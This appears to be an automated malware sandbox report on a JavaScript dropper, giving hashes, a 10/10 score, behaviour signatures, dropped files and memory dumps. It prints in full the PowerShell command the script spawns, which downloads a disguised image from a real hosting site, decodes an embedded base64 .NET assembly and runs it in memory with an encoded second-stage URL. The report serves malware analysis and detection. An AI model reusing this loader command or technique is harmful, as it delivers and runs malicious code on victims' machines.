436bc83fc6c6a4fc2174a7c97a6d286fa90681224192ea1a2313d0b1fa210224

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
30/08/2023, 05:42

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General

Target

ba93bcc0af4e24bb5f51e7fb4dff26ed.js
Size

309KB
MD5

ba93bcc0af4e24bb5f51e7fb4dff26ed
SHA1

7d99468f20bce4d57164ef226c1b4b03f0425950
SHA256

436bc83fc6c6a4fc2174a7c97a6d286fa90681224192ea1a2313d0b1fa210224
SHA512

ba1f27842b59e873db5238896b84ac008882f90dd0d120b89b2c4f5a7fece27b57fe76bafda6c3ae402d6e0b0efb57c74f0595637340aa129f4b36fd65b7783e
SSDEEP

6144:/QK4xddLBqzEkmQK4xddLB41ndndndndndndnd9SQK4xddLBhQK4xddLBjQK4xdA:3zEk41ndndndndndndnd9c1

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/591/183/original/js_startup.jpg?1693260919

exe.dropper

https://uploaddeimagens.com.br/images/004/591/183/original/js_startup.jpg?1693260919

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2576	powershell.exe
7	2576	powershell.exe
9	2576	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2576	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2576	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 2576	2396	wscript.exe	28
PID 2396 wrote to memory of 2576	2396	wscript.exe	28
PID 2396 wrote to memory of 2576	2396	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ba93bcc0af4e24bb5f51e7fb4dff26ed.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $imageUrl ='https://uploaddeimagens.com.br/images/004/591/183/original/js_startup.jpg?1693260919';$webClient =New-Object System.Net.WebClient;$imageBytes =$webClient.DownloadData($imageUrl);$imageText =[System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex =$imageText.IndexOf($startFlag);$endIndex =$imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex +=$startFlag.Length;$base64Length =$endIndex - $startIndex;$base64Command =$imageText.Substring($startIndex, $base64Length);$commandBytes =[System.Convert]::FromBase64String($base64Command);$loadedAssembly =[System.Reflection.Assembly]::Load($commandBytes);$type =$loadedAssembly.GetType('Fiber.Home');$method =$type.GetMethod('VAI');$arguments =,('dHh0LmVtbS80MzEuMTcuNjEyLjU4MS8vOnB0dGg=');$method.Invoke($null, $arguments)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2576

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
387ba82a4e9a856f4483867f8c48dae1

SHA1
b7d09b9d907297f732ecc97f41f39adce128977c

SHA256
a3b485e3af5c23cd9a2d0d956339e32c60c1bdf45f02ee97cfa3c4960c621c20

SHA512
fc0b15bfa820c35433ac28756fe210725318a92b9bba352a3f36dfd0b8d0d124d598f5d3a6eda975b3117355a08c56ac6dcec93555c2c68898b7d7e93c9f48cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab8FC3.tmp

Filesize
62KB

MD5
3ac860860707baaf32469fa7cc7c0192

SHA1
c33c2acdaba0e6fa41fd2f00f186804722477639

SHA256
d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

SHA512
d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar919E.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
memory/2576-4-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

Filesize
9.6MB

Download
memory/2576-5-0x00000000027F0000-0x0000000002870000-memory.dmp

Filesize
512KB

Download
memory/2576-6-0x000000001B350000-0x000000001B632000-memory.dmp

Filesize
2.9MB

Download
memory/2576-7-0x00000000027F0000-0x0000000002870000-memory.dmp

Filesize
512KB

Download
memory/2576-8-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2576-9-0x00000000027F0000-0x0000000002870000-memory.dmp

Filesize
512KB

Download
memory/2576-87-0x000000001D210000-0x000000001D530000-memory.dmp

Filesize
3.1MB

Download
memory/2576-88-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

Filesize
9.6MB

Download